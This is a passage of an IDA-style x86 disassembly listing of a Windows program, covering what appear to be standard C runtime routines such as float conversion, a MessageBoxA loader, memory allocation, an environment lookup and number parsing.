		pop	ecx
		push	offset word_515B00
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41F7F0
		mov	dword_515B28, eax
		add	esp, 18h
		movsx	eax, byte_515B02
		mov	dword_515B20, eax
		pop	edi
		movsx	eax, word_515B00
		mov	dword_515B24, eax
		mov	dword_515B2C, offset dword_515B04
		mov	eax, offset dword_515B20
		pop	esi
		leave
		retn
sub_41ECF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED5C	proc near		; CODE XREF: sub_41ECF8+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41EDAA
		cmp	ebx, edi
		jz	short loc_41EDA3
		lea	edi, [ecx+3C00h]
		jmp	short loc_41EDCB
; ---------------------------------------------------------------------------


loc_41EDA3:				; CODE XREF: sub_41ED5C+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41EDCB
; ---------------------------------------------------------------------------


loc_41EDAA:				; CODE XREF: sub_41ED5C+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41EDC2
		cmp	edx, ebx
		jnz	short loc_41EDC2
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41EE0D
; ---------------------------------------------------------------------------


loc_41EDC2:				; CODE XREF: sub_41ED5C+52j
					; sub_41ED5C+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41EDCB:				; CODE XREF: sub_41ED5C+45j
					; sub_41ED5C+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41EDE3:				; CODE XREF: sub_41ED5C+A6j
		test	ecx, esi
		jnz	short loc_41EE04
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41EDE3
; ---------------------------------------------------------------------------


loc_41EE04:				; CODE XREF: sub_41ED5C+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41EE0D:				; CODE XREF: sub_41ED5C+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED5C	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_4191E5
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41EE1B	proc near		; CODE XREF: ___:0041CBFAp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41EE2C
		add	esp, 0Ch
		retn
sub_41EE1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE2C	proc near		; CODE XREF: sub_41EE1B+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_516DA1[eax], cl
		jnz	short loc_41EE59
		cmp	[esp+arg_4], 0
		jz	short loc_41EE52
		movzx	eax, word_43B5AA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41EE54
; ---------------------------------------------------------------------------


loc_41EE52:				; CODE XREF: sub_41EE2C+16j
		xor	eax, eax


loc_41EE54:				; CODE XREF: sub_41EE2C+24j
		test	eax, eax
		jnz	short loc_41EE59
		retn
; ---------------------------------------------------------------------------


loc_41EE59:				; CODE XREF: sub_41EE2C+Fj
					; sub_41EE2C+2Aj
		push	1
		pop	eax
		retn
sub_41EE2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE5D	proc near		; CODE XREF: sub_41D415+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_515B30, ebx
		push	esi
		push	edi
		jnz	short loc_41EEAC
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 7C801D77h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41EEE2
		mov	esi, dword_4210D8
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_515B30, eax
		jz	short loc_41EEE2
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_515B34, eax
		call	esi	; GetProcAddress
		mov	dword_515B38, eax


loc_41EEAC:				; CODE XREF: sub_41EE5D+Bj
		mov	eax, dword_515B34
		test	eax, eax
		jz	short loc_41EECB
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41EECB
		mov	eax, dword_515B38
		test	eax, eax
		jz	short loc_41EECB
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_41EECB:				; CODE XREF: sub_41EE5D+56j
					; sub_41EE5D+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_515B30	; MessageBoxA


loc_41EEDE:				; CODE XREF: sub_41EE5D+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EEE2:				; CODE XREF: sub_41EE5D+1Cj
					; sub_41EE5D+33j
		xor	eax, eax
		jmp	short loc_41EEDE
sub_41EE5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EEE6	proc near		; CODE XREF: sub_41D5D2+22p
					; sub_41D5D2+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41EF06
		test	esi, esi
		jnz	short loc_41EF00
		push	1
		pop	esi


loc_41EF00:				; CODE XREF: sub_41EEE6+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41EF06:				; CODE XREF: sub_41EEE6+11j
					; sub_41EEE6+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41EF37
		cmp	ebx, dword_43B7BC
		ja	short loc_41EF22
		push	ebx
		call	sub_419FAD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41EF4D


loc_41EF22:				; CODE XREF: sub_41EEE6+2Dj
		push	esi
		push	8
		push	dword_516EC0
		nop
		call	near ptr 7C9105D4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41EF59


loc_41EF37:				; CODE XREF: sub_41EEE6+25j
		cmp	dword_5158DC, 0
		jz	short loc_41EF59
		push	esi
		call	sub_419BC2
		test	eax, eax
		pop	ecx
		jz	short loc_41EF5F
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF4D:				; CODE XREF: sub_41EEE6+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_417430
		add	esp, 0Ch


loc_41EF59:				; CODE XREF: sub_41EEE6+4Fj
					; sub_41EEE6+58j
		mov	eax, edi


loc_41EF5B:				; CODE XREF: sub_41EEE6+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EF5F:				; CODE XREF: sub_41EEE6+63j
		xor	eax, eax
		jmp	short loc_41EF5B
sub_41EEE6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D677


loc_41EF63:				; CODE XREF: sub_41D677+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_516B60, esi
		jle	short loc_41EFB6


loc_41EF72:				; CODE XREF: sub_41D677+193Dj
		mov	eax, dword_515B4C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41EFAD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41EF91
		push	eax
		call	sub_4180DC
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41EF91
		inc	edi


loc_41EF91:				; CODE XREF: sub_41D677+190Bj
					; sub_41D677+1917j
		cmp	esi, 14h
		jl	short loc_41EFAD
		mov	eax, dword_515B4C
		push	dword ptr [eax+esi*4]
		call	sub_417C62
		mov	eax, dword_515B4C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41EFAD:				; CODE XREF: sub_41D677+1905j
					; sub_41D677+191Dj
		inc	esi
		cmp	esi, dword_516B60
		jl	short loc_41EF72


loc_41EFB6:				; CODE XREF: sub_41D677+18F9j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41D677

; =============== S U B	R O U T	I N E =======================================



sub_41EFBB	proc near		; CODE XREF: sub_41DD12+23p

arg_0		= dword	ptr  4

		cmp	dword_516EC8, 0
		push	ebx
		push	esi
		mov	esi, dword_5158AC
		push	edi
		jz	short loc_41F032
		test	esi, esi
		jnz	short loc_41EFEC
		cmp	dword_5158B4, esi
		jz	short loc_41F032
		call	sub_41FAC2
		test	eax, eax
		jnz	short loc_41F032
		mov	esi, dword_5158AC
		test	esi, esi
		jz	short loc_41F032


loc_41EFEC:				; CODE XREF: sub_41EFBB+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41F032
		push	ebx
		call	sub_417AF0
		pop	ecx
		mov	edi, eax


loc_41EFFD:				; CODE XREF: sub_41EFBB+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F032
		push	eax
		call	sub_417AF0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41F025
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41F025
		push	edi
		push	ebx
		push	eax
		call	sub_41FA83
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F02A


loc_41F025:				; CODE XREF: sub_41EFBB+51j
					; sub_41EFBB+59j
		add	esi, 4
		jmp	short loc_41EFFD
; ---------------------------------------------------------------------------


loc_41F02A:				; CODE XREF: sub_41EFBB+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41F032:				; CODE XREF: sub_41EFBB+10j
					; sub_41EFBB+1Cj ...
		xor	eax, eax


loc_41F034:				; CODE XREF: sub_41EFBB+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41EFBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F038	proc near		; CODE XREF: sub_41E476+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B70
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_516C80
		jnb	loc_41F16D
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_516B80[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41F16D
		push	1
		push	esi
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41F177
		push	2
		push	esi
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41F177
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F11A
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417430
		push	8000h
		push	ebx
		call	sub_41FB30
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41F0CE:				; CODE XREF: sub_41F038+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41F0D9
		mov	eax, edi


loc_41F0D9:				; CODE XREF: sub_41F038+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41BE4F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F0F7
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F10D
		jmp	short loc_41F0CE
; ---------------------------------------------------------------------------


loc_41F0F7:				; CODE XREF: sub_41F038+B5j
		cmp	dword_515888, 5
		jnz	short loc_41F10A
		mov	dword_515884, 0Dh


loc_41F10A:				; CODE XREF: sub_41F038+C6j
		or	esi, 0FFFFFFFFh


loc_41F10D:				; CODE XREF: sub_41F038+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41FB30
		pop	ecx
		pop	ecx
		jmp	short loc_41F15A
; ---------------------------------------------------------------------------


loc_41F11A:				; CODE XREF: sub_41F038+71j
		jge	short loc_41F15A
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BA39
		push	ebx
		call	sub_41E3E2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 7C832044h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F15A
		mov	dword_515884, 0Dh
		nop
		call	near ptr 7C910331h
		mov	dword_515888, eax


loc_41F15A:				; CODE XREF: sub_41F038+E0j
					; sub_41F038:loc_41F11Aj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41F17A
; ---------------------------------------------------------------------------


loc_41F16D:				; CODE XREF: sub_41F038+1Aj
					; sub_41F038+36j
		mov	dword_515884, 9


loc_41F177:				; CODE XREF: sub_41F038+4Ej
					; sub_41F038+63j
		or	eax, 0FFFFFFFFh


loc_41F17A:				; CODE XREF: sub_41F038+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41F038	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F17E	proc near		; CODE XREF: sub_41E8DE+2Bp
					; sub_41E8DE+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41F194
		cmp	ecx, esi
		jnb	short loc_41F197


loc_41F194:				; CODE XREF: sub_41F17E+10j
		push	1
		pop	eax


loc_41F197:				; CODE XREF: sub_41F17E+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41F17E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F19F	proc near		; CODE XREF: sub_41F258+40p
					; sub_41F258+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41F17E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F1D1
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41F17E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F1D1
		inc	dword ptr [esi+8]


loc_41F1D1:				; CODE XREF: sub_41F19F+19j
					; sub_41F19F+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41F17E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F1E9
		inc	dword ptr [esi+8]


loc_41F1E9:				; CODE XREF: sub_41F19F+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41F17E
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41F19F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F1FD	proc near		; CODE XREF: sub_41F258+30p
					; sub_41F258+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41F1FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F22B	proc near		; CODE XREF: sub_41F7F0+1C8p
					; sub_41FBA6+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41F22B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F258	proc near		; CODE XREF: sub_41F31F+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41F2CC
		push	edi
		mov	[ebp+arg_8], eax


loc_41F27F:				; CODE XREF: sub_41F258+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41F1FD
		push	ebx
		call	sub_41F1FD
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F19F
		push	ebx
		call	sub_41F1FD
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F19F
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41F27F
		xor	edx, edx
		pop	edi


loc_41F2CC:				; CODE XREF: sub_41F258+21j
					; sub_41F258+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41F2F9
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41F2CC
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F258+77j
		mov	esi, 8000h


loc_41F2FE:				; CODE XREF: sub_41F258+B9j
		test	[ebx+8], esi
		jnz	short loc_41F313
		push	ebx
		call	sub_41F1FD
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41F2FE
; ---------------------------------------------------------------------------


loc_41F313:				; CODE XREF: sub_41F258+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41F258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F31F	proc near		; CODE XREF: sub_41EC27+17p
					; sub_41EC54+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41F35A:				; CODE XREF: sub_41F31F+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41F370
		cmp	cl, 9
		jz	short loc_41F370
		cmp	cl, 0Ah
		jz	short loc_41F370
		cmp	cl, 0Dh
		jnz	short loc_41F373


loc_41F370:				; CODE XREF: sub_41F31F+40j
					; sub_41F31F+45j ...
		inc	edi
		jmp	short loc_41F35A
; ---------------------------------------------------------------------------


loc_41F373:				; CODE XREF: sub_41F31F+4Fj
		push	4
		pop	esi


loc_41F376:				; CODE XREF: sub_41F31F+AEj
					; sub_41F31F+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41F5F9	; default
					; jumptable 0041F382 case 10
		jmp	off_41F7C0[eax*4] ; switch jump


loc_41F389:				; DATA XREF: ___:off_41F7C0o
		cmp	bl, 31h		; jumptable 0041F382 case 0
		jl	short loc_41F39A
		cmp	bl, 39h
		jg	short loc_41F39A


loc_41F393:				; CODE XREF: sub_41F31F+C4j
					; sub_41F31F+118j
		push	3
		jmp	loc_41F5B7
; ---------------------------------------------------------------------------


loc_41F39A:				; CODE XREF: sub_41F31F+6Dj
					; sub_41F31F+72j
		cmp	bl, byte_43B7B0
		jnz	short loc_41F3A9


loc_41F3A2:				; CODE XREF: sub_41F31F+124j
		push	5
		jmp	loc_41F5EF
; ---------------------------------------------------------------------------


loc_41F3A9:				; CODE XREF: sub_41F31F+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F3CF
		dec	eax
		dec	eax
		jz	short loc_41F3C3
		sub	eax, 3
		jnz	loc_41F692
		jmp	loc_41F452
; ---------------------------------------------------------------------------


loc_41F3C3:				; CODE XREF: sub_41F31F+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41F376
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F31F+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41F376
; ---------------------------------------------------------------------------


loc_41F3D8:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	bl, 31h		; jumptable 0041F382 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41F3E5
		cmp	bl, 39h
		jle	short loc_41F393


loc_41F3E5:				; CODE XREF: sub_41F31F+BFj
		cmp	bl, byte_43B7B0
		jz	loc_41F4AD
		cmp	bl, 2Bh
		jz	short loc_41F427
		cmp	bl, 2Dh
		jz	short loc_41F427
		cmp	bl, 30h
		jz	short loc_41F452


loc_41F400:				; CODE XREF: sub_41F31F+207j
		cmp	bl, 43h
		jle	loc_41F692
		cmp	bl, 45h
		jle	short loc_41F420
		cmp	bl, 63h
		jle	loc_41F692
		cmp	bl, 65h
		jg	loc_41F692


loc_41F420:				; CODE XREF: sub_41F31F+EDj
		push	6
		jmp	loc_41F5EF
; ---------------------------------------------------------------------------


loc_41F427:				; CODE XREF: sub_41F31F+D5j
					; sub_41F31F+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41F5EF
; ---------------------------------------------------------------------------


loc_41F42F:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	bl, 31h		; jumptable 0041F382 case 2
		jl	short loc_41F43D
		cmp	bl, 39h
		jle	loc_41F393


loc_41F43D:				; CODE XREF: sub_41F31F+113j
		cmp	bl, byte_43B7B0
		jz	loc_41F3A2
		cmp	bl, 30h
		jnz	loc_41F607


loc_41F452:				; CODE XREF: sub_41F31F+9Fj
					; sub_41F31F+DFj
		mov	eax, edx
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F459:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		mov	[ebp+var_10], edx ; jumptable 0041F382 case 3


loc_41F45C:				; CODE XREF: sub_41F31F+184j
		cmp	dword_43B7AC, edx
		jle	short loc_41F475
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F483
; ---------------------------------------------------------------------------


loc_41F475:				; CODE XREF: sub_41F31F+143j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F483:				; CODE XREF: sub_41F31F+154j
		test	eax, eax
		jz	short loc_41F4A5
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F49D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41F4A0
; ---------------------------------------------------------------------------


loc_41F49D:				; CODE XREF: sub_41F31F+16Cj
		inc	[ebp+var_8]


loc_41F4A0:				; CODE XREF: sub_41F31F+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F45C
; ---------------------------------------------------------------------------


loc_41F4A5:				; CODE XREF: sub_41F31F+166j
		cmp	bl, byte_43B7B0
		jnz	short loc_41F514


loc_41F4AD:				; CODE XREF: sub_41F31F+CCj
		mov	eax, esi
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F4B4:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	[ebp+var_4], 0	; jumptable 0041F382 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41F4CD


loc_41F4C0:				; CODE XREF: sub_41F31F+1ACj
		cmp	bl, 30h
		jnz	short loc_41F4CD
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F4C0
; ---------------------------------------------------------------------------


loc_41F4CD:				; CODE XREF: sub_41F31F+19Fj
					; sub_41F31F+1A4j ...
		cmp	dword_43B7AC, edx
		jle	short loc_41F4E6
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F4F4
; ---------------------------------------------------------------------------


loc_41F4E6:				; CODE XREF: sub_41F31F+1B4j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F4F4:				; CODE XREF: sub_41F31F+1C5j
		test	eax, eax
		jz	short loc_41F514
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F50F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41F50F:				; CODE XREF: sub_41F31F+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F4CD
; ---------------------------------------------------------------------------


loc_41F514:				; CODE XREF: sub_41F31F+18Cj
					; sub_41F31F+1D7j
		cmp	bl, 2Bh
		jz	loc_41F427
		cmp	bl, 2Dh
		jz	loc_41F427
		jmp	loc_41F400
; ---------------------------------------------------------------------------


loc_41F52B:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	dword_43B7AC, edx ; jumptable 0041F382 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41F547
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F555
; ---------------------------------------------------------------------------


loc_41F547:				; CODE XREF: sub_41F31F+215j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F555:				; CODE XREF: sub_41F31F+226j
		test	eax, eax
		jz	loc_41F607
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F561:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		lea	ecx, [edi-2]	; jumptable 0041F382 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41F571
		cmp	bl, 39h
		jle	short loc_41F5B5


loc_41F571:				; CODE XREF: sub_41F31F+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F5ED
		dec	eax
		dec	eax
